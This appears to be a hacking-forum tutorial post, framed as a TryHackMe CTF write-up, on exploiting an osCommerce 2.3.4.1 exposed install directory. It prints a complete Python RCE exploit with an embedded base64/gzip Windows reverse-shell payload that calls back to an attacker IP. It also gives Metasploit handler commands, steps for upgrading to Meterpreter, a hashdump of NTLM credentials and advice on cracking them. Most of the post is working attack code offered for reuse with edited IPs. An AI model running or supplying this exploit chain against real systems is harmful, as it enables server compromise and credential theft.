

Forum:[Hack Forums](#)

Thread: [\[osCommerce\] RCE, reverse shelling, python, NTLM and a hashdump! #8](#)

slober - April 21, 2020, 3:26 pm

[osCommerce] RCE, reverse shelling, python and a hashdump! #8

Welcome to the 8th tutorial. This one will guide you through the world of reverse shelling an RCE vulnerable osCommerce website.

We're going to elevate our reverse shell to a Meterpreter shell and perform a hash dump enjoy?

When your installing osCommerce 2.3.4.1 and you're forgetting to remove the installation directory there is a chance you could get hacked this version is vulnerable to Remote Code Execution or RCE for short.

Let's go.

First, I ran a generic Nmap scan of my target the website wasn't located on the default 80 port it was on the other (in my case default2 port) 8080 port

Well, let's take a closer look at the website. It was a pretty broken osCommerce installation so something went wrong no doubt about it. Let's try if the install directory is accessible.

Yes, it is. At this point, we have two options we can install the website and run a PHP reverse shell gaining access that way or we could try that exploit. I'm going to show the exploit it's more educational going that route ?.

Firstly, we are going to create a listener. I often forget the listener and it's a pain to run everything 3 or 4 times (yes it happened to me a lot of wrong ports wrong IP some way or another this is a step where I * up the most ?).

I'm running this listener in Metasploit you can also run this using Ncat but this CTF challenge required me to get the NTLM dump so a Meterpreter shell would be beneficial in this case.

You can start the Metasploit framework by typing Msfconsole in cmd

Code msfconsole

After this, we are going to start our "exploit" our reverse TCP shell

You can do this by typing the following

Code Use exploit/multi/handler

set payload windows/shell/reverse_tcp

set LHOST [YOURIP]

set LPORT [YOURPORT]

run

The commands itself is pretty much self-explanatory.

You should get something similar to this

Time for the exploit:

Code # Exploit Title: osCommerce 2.3.4.1 Remote Code Execution

Date: 29.0.3.2018

Exploit Author: Simon Scannell - <https://scannell-infosec.net> <contact@scannell-infosec.net>

Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable

Tested on Linux, Windows

If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible

for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page

is already installed and does not attempt to do any authentication. It is possible for an attacker to directly

execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject

PHP code into the config file and then simply executing the code by opening it.

import requests

enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)

base_url = "http://10.10.14.203:8080//oscommerce-2.3.4/catalog/"

target_url = "http://10.10.14.203:8080/oscommerce-2.3.4/catalog/install/install.php?step=4" # use the machine IP

```
data = {  
    'DIR_FS_DOCUMENT_ROOT': './'  
}
```

the payload will be injected into the configuration file via this code

' define('\DB_DATABASE', \ " . trim(\$HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .

so the format for the exploit will be: '); PAYLOAD; /*

```
payload = '\');'  
payload += 'header("Content-type: text/plain");'  
payload += '$ip = "10.8.6.162";' # use tun0 IP address  
payload += '$port = "1234";'  
payload += '$payload =
```

```
"7Vh5VFPntj9JDkIIQgaZogY5aBSsiExVRNCEWQICGQQVSQIJGMmAYQIDtRIaQGKMjXUoxZGWe  
ntbq1gpCCChGgggVFWcolFhpL7wwVb2ABT33oN6uDm+tt9b966233I7Z39779/32zvedZJ3z7RO1yQj  
gAAAAUUUQALgAvBEO8D+LBIWqcx0VqLK+4XIBw7vhEr9VooKyIloMpVAGpQnlcgUMpYohpVoO  
SeRQSHQcJFOIx42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMaOQEd1ZPopwG1lai2v13dDI59  
s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z  
/srjvOF5/7a59ccu7/wTD4enitmtvzFhxprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQS  
HAXSZYNalEDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2cll  
OCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwIW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R  
+nP2XDqFFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U  
07gevzjnkADXhlVj5kNEHeoklzlhdPJDk3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8I  
C613I+0loWFOh0qxjnlUGAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tHl
```

O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6aquiNFx0xctZ+zBD7SOT9
oXWA5kvfUqcLxkjF2Ejy49W7jc/skP6dOM0oxFlfzl6qbehMltaYb8E3U/NzAtnH7cCnO7YIAUmKuOW
ukuwvn8B0cHa1a9nZJS8oNVsvJBkGTRyt5jjDJM5OVU87zRk+zQjcUPcewVDSbhr9dcG+q+rDd+1f
VYJ1NEnHYcKkQnd7WdfGYoga/C6RF7vIEEEvdTgT6uwxAQM5c4xxk07Ap3yrfUBLREvDzdPdI0k3
9eF1nzQD+SR6BSxed1mCWHCRWByfej33WjX3vQFj66FVibo8bb1TkNmf0NoE/tguksTNnIYPLsfsA
NbaDUBNTmndixgsCKb9QmV4f2667Z1n8QbEprwlflpoh/HnqXyfJy/+SnobFax1wSy8tXWV30MTG1
UILLVKPbBBUz29QEB33o2tiVytuBmpZzsp+JEW7yre76w1XOIxA4WcURWIQwOuRd0D1D3s1zYxr6
yqp8beopn30tPidEut1sTj+5gdINSGHFs/cKD6fTGo1WV5MeBODv5/xCHpy+WFvLO5ZX5saMyZrnN
9mUzKht+lsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktlpRF2RHWmszSWNyGSIQ1HK
wc9jW6ZX3xa693c8b1UvcpAvV84NanvJPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevG0W3D6vh
un9AX2DJD+nXlua7tLnFX197wDTlqn/wcX/4nEG8RjGzen8LcYhNP3kYXtkBa28TMS2ga0FO+WoY
7uMdRA9/r7drdA2udNc7d6U7C39NtH7QvGR1ecwsH0Cxi7JlYjhf3A3J76iz5+4dm9fUxwqLOKdtF1j
W0Nj7ehsiLQ7f6P/CE+NgkmXbOieExi4Vkj6Q7KEF+dpYRNQ12mktNSI9zwYjVlVfYovFdj2P14DH
hZf0I7TB22lxZ+Uw95Lt+xWmPzW7zThCb2prMRywnBz4a5o+bplyAo0eTdI3vOtY0TY1DQMwx0jGv
9r+T53zhnjqi4yjffa3TjybRJaGHup48xmC1obViCFrVu/uWY2daHTSAFQQwLww7g8mYukFP063rq4
AofErizmanyC1R8+UzLldkxmlz3bKsynaVbJz6E7ufD8OTCoI2fzMXOa67BZFA1iajQDmTnt50cveriej
a4yEOWV3R32THM9+1EDfyNElsyN5gVfa8xzm0CsKE/Wjg3hPR/A0WDUQ1CP2oiVzebW7RuG6F
PYZzzUw+7wFMdg/0O1kx+tu6aTspFkMu0u3Py1OrdvsRwXVS3qIAQ/nE919fPTv6TusHqoD9P56vx
fJ5uyaD8hLI1HbDxocoXjsRxCFouJkibeYUIQMon+TP62rI6P6kHlewXmbxtl59BxBmt6Hn7c7NL7r0Lfi
F/FfkTFP1z7UF9gOjYqOP694ReKIG8uhCILZ4cLk2Louy9ylyDaB5GSpk03I7upb584gR0DH2adCBg
MvutH29dq9626VPPCPGpciG6fpLvUOP4Cb6UC9VA9yA9fU1i+m5Vdd6SaOFYVjblJqhq/1FkzZ0bT
aS9VxV1UmstZ8s3b8V7qhmOa+3Klw39p5h/cP/woRx4hVQfHLQV7ijTbFfRqy0T0jSeWhjwNrQeRD
Y9ftJiPcbZ5xED4xAdnMnHep5cq7+h79RkGq7v6q+5Hztve262b260+c9h61a6Jpb+ElkPVa9Mnax7
k4Qu+Hzk/tU+ALP6+Frut4L8wwwqXOlAvmZmDCsrKJwU91e/13gGfet8EPgZ8eoaeLvXH+JpXLR8v
uALdasb5sXZVPKZ7Qv+8X0qYKPCNLid6Xn7s92DbPufW/GMMQ4yIT3YhU2RP3jZoiWsTJJQvLzO
b4KmixmlXZAohtsI0xO4Ybd9QtpMFC0r9i+SkE/biRFTNo+XMzeaXFmx0MEZvV+T2DvOL4iVjg0hnq
SF5DVuA58eyHQvO+yIH82Op3dkiTwGDvTOCIHbC54L6/aVn9bhshq5Zntv6gbVv5YFxmGjU+bLIJv
9Ht/Wbidvvhwa4DwsuF155mXl7pcsF8z2VUyv8Qa7QKpuTN//d9xDa73tLPNsyuCD449KMy4uvAO
H80+H+nds0OGSIF+0yc4pyit0X80iynZmCc7YbKELGsKIRFreHr5RYkdi1u0hBDWHIM7eLIj7O/A8P
XZlh5phiVzhttpMYTVzZ+f0sfdCTpO/rilG/POPpI3qonVcE636INy2w/EBnz7Os+ry23diVLWyzxf8pRDK
rdsvZ7HMeDI9LthIXqftePPJpi25IABtDHg1VWK5Gu7vOW9fBDzRFw2WWAMuBo6Xbxym8Fsf9I0S
V3AZC7kGCxsjFz95ZcgEdRserKtHRePpiaQVquF8KOOil58XEz3BCfD1nOFnSrTOcAFFE8sysXxJ
05HiqTNSd5W57YvBJU+vSqKStAMKxP+gLmOaOafL3FLpwKjGAuGgDsmYPSSpJzUjbtTLX0Mkvf
wCQaQAf102P1acIVHBYmWwVKhSiVWpPit8M6GfEQRRbRVLPZA/IkaQy8VpsFhElgHB0VFXMaH
B6CxiYnKAKIk8I2fmNatLZGloXSiRqpVifxIAQRsknQ6bXylhtVD6njqPGYhXKL/rqrkOLUzNW6eChD
BWJFo63lv7zXbbrPU+CfJMuSJHDmUVjshrxTuiXYPFGmLJAqGUgHXX5J1kRV7s9er6GEeJJ/5Ndl
uqRLhkvhFhs+whf0Qzspoa7d/4ysE834sgNIJxMyIgGAJxi3f8fKWWd9IBKEAXCpRiw2mgjLVBCEv6m
vFowZg7+E17kdu5iyJaDKISevypzyxoSRrrpKkhpHpC6T0xs6p6hr7rHmQrSbDdlnSXcpBN8IR2/AkTt
mX7BqWzDgMIV6LC04oOjVYNw5GkAUg1c85oOWTkeHOYuDrYixl0elWiyhhGxtT6sznm4PJmTa7
bQqkvbn8lt044Oxj890I3VtssRWUIGuBliVcQf8yrb1NgGMu2Ts7m1+pyXliaZ9LxRQtm2YQBCFaq43
F+t24sKJPh3dN9IdjGTDp6rVms5OEGkPDxnZSs0vwmZaTrWvuOdW/HJZuiNaCxbjdTU9lvkHkjVRv
4xE7znX3qLvvtq+n0pMLIEffLXVV/wE5yHZO9wEuojBm3BeUBicsdBXS/HLFdxyv5694BRrrVVM8
LYbH7rvDb7D3V1tE3Z31dG9S9YGhPlf71g+/h6peY/K573Q0EjfHutRkrnZdrPR/Nx4c/6NgpjgXPn+1
AM3IPabaJuLtO717TkhbaVJpCLp8vFPQyE+OdkdwGws2WN78WNC/ADMUS/EtRyKKUmvPSrFT
W8nKVllpyRlvrxNcGGpDHW/utgxRIWpM47cXlBzWK0Kjyel7vpG3cXBHx48fioKdSsvNt180JeNugNP
p/G9dHiw7Mp6FuEdP1wYWuHUTFJ6libBKCSrMZbB142LSypxWdAyEdoHZLmsqrQC3GieGkZHQB
ZOFhLxmeacNRRfn8UEEw6BSDv3/svZRg7AwtklaCK5QBKOURB3DzG/k8Ut9RRigqUKIRh83jsdlZS
LpGKIWAiLY5SKNOT6cPV+Li1EbA+LJbAkTSiNE6dV9/A4cQ6hcjulfbVvZmlu3Z8SvqJHrqhZmC2hy
mXipRuE7sLUjurA6kgukydsZRzIdbPb3z4MkohUksLnEO4yPiQIX1EHLwaVmetlacrDvUkqyB8Trbk
/U/GZelu3qVseyKcIN/K//IV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJMPB9CqZDWODTaJwq
SwqjjyyDdWw2ujU7fND/+iq/qlby6fnxEumy//OkMb1dGgomZhxRib9B07XITLBSvuKr4wiwHnZdFqb8z
+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YmtAnXQhg0uen5zzvTe7PlcjEsrSsvNUEISRD
3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVlhd

```

5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM
9if/6ADM0mFNQ9lQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDluZ+JaIY
Dn9jaPD2UllObdJQzj4yLyVC+4QOAK8BANRN5eIRWen8JWOAwNyVyYJg+I2yTdEN3a6crkeli3FnR
APUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCM
i7Yyxi7NBQoYbzbpVNoC87VkfDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhC
zNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fufsfAjXE/dPkH4ppr2ALXgLPEER7G2
OwW6Z9OZ1N24MNQhe1Vj0xmiY+MYx6rLYR1BG010DtIJzC+bWIA+FU3QTtTvRle4hhLsPBGBYJ
jRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYIHT92GhoAlwDoCdYmoEDPBw2FnoAJ3euzG
O01InJYhPqH0HJEE9yte5EY8fRMANJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DY
wLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6Q
Z9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469lu2UkpZGCljZxAC2qdol39ncSYeIA/y//C6S0HQBE7
X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1Ce
DxApsspOU8LoMU4KJmZ581H0jRsdHPmWAFauQHfPkqoUKvO4ABAuhmeeT1yRSCIWqQBgg+T1
0QzFYPRo91vMIUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA="';
payload += '$evalCode = gzinflate(base64_decode($payload));'
payload += '$evalArguments = " ".$port." ".$ip;'
payload += '$tmpdir = "C:\\windows\\temp";'
payload += 'chdir($tmpdir);'
payload += '$res .= "Using dir : ".$tmpdir;'
payload += '$filename = "D3fa1t_shell.exe";'
payload += '$file = fopen($filename, "wb");'
payload += 'fwrite($file, $evalCode);'
payload += 'fclose($file);'
payload += '$path = $filename;'
payload += '$cmd = $path.$evalArguments;'
payload += '$res .= "\n\nExecuting : ".$cmd."\n";'
payload += 'echo $res;'
payload += '$output = exec($cmd);'
payload += '/*'

```

```
data['DB_DATABASE'] = payload
```

```
# exploit it
```

```
r = requests.post(url=target_url, data=data)
```

```
if r.status_code == 200:
```

```
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" +
base_url + "install/includes/configure.php")
```

```
else:
```

```
    print("[-] Exploit did not execute as planned")
```

You can find the basic exploit at <https://www.exploit-db.com/exploits/44374>

This exploit is slightly altered well the exploit itself isn't altered but the payload is we are running this on a windows machine so this payload is tailored to run on a windows based system you can find this exploit over at this Github page:

<https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php>

There are four things you need to edit before you run it the IP of the target (you'll need to enter it twice) Your IP and The port you're listening to also this site was HTTP so be sure to replace https by Http I've made that mistake...

My favorite IDE still is Thony so here is an output you should get.

Be sure you'll visit the configure PHP file afterward this will run your exploit. It should be included in the output at the bottom. In my case, it was something like this.

Code `http://10.10.14.203:8080//oscommerce-2.3.4/catalog/install/includes/configure.php` and tada, this should appear in your Metasploit console

Now we are going to background our current session we are going to upgrade this session to a Meterpreter session.

To background a Meterpreter session you should use `ctrl +z` or type `background` in your shell.
Code `background`

You can now upgrade your session by typing

Code `sessions -u 1`

The `-u` stands for upgrade and the `1` is the session you want to upgrade you should only have 1 session so it should normally be `1`.

Once it all ran you can type `sessions -i 2`
this will allow you to interact with your new Meterpreter session!

You can now dump those hashes fairly easy by typing `run hash dump` and behold your NTLM hashes will show up.

You can crack these hashes using JhonTheRipper, Hashcat or an online tool. This time I've chosen this one and it did the job pretty fast and good and a lot quicker than an offline cracker.

And that is all I hope you've found it an interesting read and you've found some new techniques you could use in the future ?.

Spoiler ([Click to View](#)) Feel free to try this room on TryHackme it's called blueprint